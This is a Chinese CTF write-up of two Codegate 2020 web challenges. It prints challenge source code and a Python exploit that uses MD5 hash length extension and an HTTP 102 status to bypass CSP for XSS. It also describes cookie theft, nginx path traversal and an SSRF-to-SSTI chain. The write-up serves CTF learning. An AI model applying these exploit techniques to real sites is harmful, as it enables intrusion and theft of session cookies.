2020 Codegate Web题解

VSole2022-07-07 08:09:51

Codegate 还是有很多国际强队参加的,这里记录 Codegate 的两道 Web题。

CSP分析

题目给了 api.php 的代码:

 'config.php';if(!isset($_GET["q"]) || !isset($_GET["sig"])) {    die("?");
}
$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];if(md5($salt.$api_string) !== $sig){    die("??");
}//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...$apis = explode("|", $api_string);foreach($apis as $s) {
    $info = explode(",", $s);    if(count($info) != 3)        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);    if ($n === "header") {        if(strlen($p1) > 10)            continue;        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }    elseif ($n === "body") {        if(preg_match("/<.*>/", $p1))            continue;        echo $p1;        echo "n
n";
    }    elseif ($n === "hello") {        echo "Hello, World!n";
    }
}

题目的 CSP 的策略是 default-src 'self'; script-src 'none'; base-uri 'none';,这基本给堵死了,直接打 cookie 不可能了。

index.php 可以给一个API,得到签名,但是不支持一次多个API,我们没有 key,这里明显是一个哈希长度扩展攻击的考点,采用 salt+msg的方式进行哈希。

接着 api.php,发现可以设置 header,设置 cookie,输出内容。设置 header做了一定过滤,无法覆盖 CSP 设置。body 这部分过滤没啥用,preg_match 的 . 不匹配 n。

关键在于使 CSP 失效,可以设置 HTTP 状态码为 102 使 CSP 失效,同时可以执行js。为了验证我本地写了个 php:

header("Content-Security-Policy: default-src 'self'; script-src 'none';");
header("HTTP/: 102");?>alert(<span style="color: rgb(0, 0, 0);font-size: 15px;box-sizing: border-box;">1</span>)

我用 nimmis/apache-php7 这个镜像起了个 docker,发现 chrome 是不可以的:

开始以为 chrome 版本问题,试了旧版本还是不行。

我用 mac 自带的 apache 和 php 环境试了一下,发现是可以的。。。

这与 server 还有关系?感兴趣的师傅可以研究解答一下…

这道题的环境也是可以的,我们随便拿到一个签名,然后用哈希扩展攻击得到想要的签名。

exp

import requestsimport hashpumpy
url = "http://110.10.147.166/"def get_sig():
    res = requests.get(url + "view.php", params={'name': 'gml', 'p1': 'gml', 'p2': 'gml'}).content
    sig, msg = res.split("/api.php?sig=")[1].split('">')[0].split("&q=")    return sig, msg.decode("base64")
sig, msg = get_sig()
api1 = ['header', 'HTTP/', '102']
api2 = ['body', 'alert(1)', '']
new_msg = "|%s|%s" % (    ','.join(c.encode("base64").strip() for c in api1), ','.join(c.encode("base64").strip() for c in api2))# len(salt)=12new_sig, q = hashpumpy.hashpump(sig, msg, new_msg, 12)
q = q.encode("base64")
print('{}api.php?sig={}&q={}'.format(url, new_sig, q))

访问,发现可以弹窗:

改变 xss payload 为打 cookie的,提交给 bot,可以打到cookie:

Render

Description

It is my first flask project with nginx. Write your own message, and get flag!
http://110.10.147.169/renderer/ http://58.229.253.144/renderer/DOWNLOAD : http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9

下载可以得到 settings/run.sh:

#!/bin/bashservice nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask
service nginx restart
uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &
/bin/bash

以及 docker file:

FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi
ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/static
RUN chmod 777 /home/static
RUN mkdir /home/tickets
RUN chmod 777 /home/tickets
ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh
ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh
CMD ["/bin/bash", "/home/run.sh"]

我们能从中得到的主要是目录结构,结合题目描述 nginx,应该存在 nginx 目录遍历。

http://110.10.147.169/static../src/uwsgi.ini,可以下到文件。

获取源码

读源码:

http://110.10.147.169/static../src/app/__init__.py

from flask import Flaskfrom app import routesimport os
app = Flask(__name__)
app.url_map.strict_slashes = Falseapp.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")

读routes:

http://110.10.147.169/static../src/app/routes.py

from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprintimport urllib2import timeimport hashlibfrom os import pathfrom urlparse import urlparse
front = Blueprint("renderer", __name__)@front.before_requestdef test():
    print(request.url)@front.route("/", methods=["GET", "POST"])def index():
    if request.method == "GET":        return render_template("index.html")
    url = request.form.get("url")
    res = proxy_read(url) if url else False
    if not res:
        abort(400)    return render_template("index.html", data = res)@front.route("/whatismyip", methods=["GET"])def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())@front.route("/admin", methods=["GET"])def admin_access():
    ip = get_ip()
    rip = get_real_ip()    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)    if ip != rip: #if use proxy
        ticket = write_log(rip)        return render_template("admin_remote.html", ticket = ticket)    else:        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))            return render_template("admin_local.html", ticket = ticket)        else:            return render_template("admin_local.html", ticket = None)@front.route("/admin/ticket", methods=["GET"])def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)    if request.headers.get("User-Agent") != "AdminBrowser/1.337":        print request.headers.get("User-Agent")
        abort(403)    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))        if not log:            print 4
            abort(403)        return render_template_string(log)def get_ip():
    return request.remote_addrdef get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()def proxy_read(url):
    #TODO : implement logging
    s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk
        return ""
    return urllib2.urlopen(url).read()def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)    return tiddef write_extend_log(rip, body):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:
        f.write(body)    return tiddef read_log(ticket):
    if not (ticket and ticket.isalnum()):        return False
    if path.exists("/home/tickets/%s" % ticket):        with open("/home/tickets/%s" % ticket, "r") as f:            return f.read()    else:        return False

分析

可以发现我们 flag 在 config 中,想到 SSTI。

题目还提供了一个类似 SSRF 的功能,让服务器帮我们去请求,这里用的是 urllib2.urlopen(url),这里存在 http 头注入的问题。

再看一下 admin 接口,会把 rip,也就是 xff 头写到日志里,我们可以通过 /admin/ticket 接口来访问日志(当然我们有了目录遍历,也可以直接下载)

如何才能 SSTI 呢,当访问 /admin/ticket 接口时会把日志结果用 render_template_string渲染,所以我们的思路很清楚了:把 SSTI payload 先放到 xff 头里,访问 admin 接口把 payload 写到日志里,再去访问 /admin/ticket 接口实现 SSTI,头部控制可以利用 urllib 的 HTTP 注入。

exp

首先请求 /admin:

得到 ticket,再请求 /admin/ticket:

nginxrip
本作品采用《CC 协议》,转载必须注明作者和本文链接
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
2020 Codegate Web题解
2022-07-07 08:09:51
Codegate 还是有很多国际强队参加的,这里记录 Codegate 的两道 Web题。
同时又在默认的系统环境下,通过pip安装部署,大多数情况下,是不会出现问题。相关的依赖库,在Python安装之后,都是通过pip来安装。但实际我们装个python2.7版本的环境就基本满足目前的需求。我们创建了一个叫做py27的虚拟环境。workonpy272.4 安装Opencananrypip在安装opencanary时,会自动安装他所需求要的各种依赖,一般不出问题的话,一切都会顺利安装完成。
对于黑名单之内的 IP ,拒绝提供服务。为了方便管理和共享,我们选择通过 Nginx+Lua+Redis 的架构实现 IP 黑名单的功能,架构图如下:实现1、安装 Nginx+Lua模块,推荐使用 OpenResty,这是一个集成了各种 Lua 模块的 Nginx 服务器:2、安装并启动 Redis 服务器;3、配置 Nginx 示例:Nginx 配置其中lua_shared_dict ip_blacklist 1m;指定 lua 脚本位置。
配置好后可一建生成nginx.conf文件,同时可控制nginx使用此文件进行启动与重载,完成对nginx的图形化控制闭环。本系统通过Let's encrypt申请证书,使用acme.sh脚本进行自动化申请和续签,开启续签的证书将在每天凌晨2点进行续签, 只有超过60天的证书才会进行续签,只支持在linux下签发证书。
一般有运行nginx服务器的用户组,nginx进程pid存放路径,日志存放路径,配置文件引入,允许生成worker process数等。#user administrator administrators; #配置用户或者组,默认为nobody nobody。keepalive_requests 120;#单连接请求上限次数。
Nginx是一个开放源代码的高性能HTTP和反向代理服务器,负责处理Internet上某些最大站点的负载。在对服务器或应用程序问题进行故障排除时,知道如何配置和读取日志非常有用,因为它们提供了详细的调试信息。Nginx用两种类型的日志记录其事件:访问日志和错误日志。
Nginx 快速入门
2022-05-11 16:36:35
Nginx 是⼀款⾼性能的 http 服务器/反向代理服务器及电⼦邮件(IMAP/POP3)代理服务器。由俄罗斯的程序设计师伊⼽尔·⻄索夫(Igor Sysoev)所开发,官⽅测试 nginx 能够⽀⽀撑 5 万并发链接,并且cpu、内存等资源消耗却⾮常低,运⾏⾮常稳定。
VSole
网络安全专家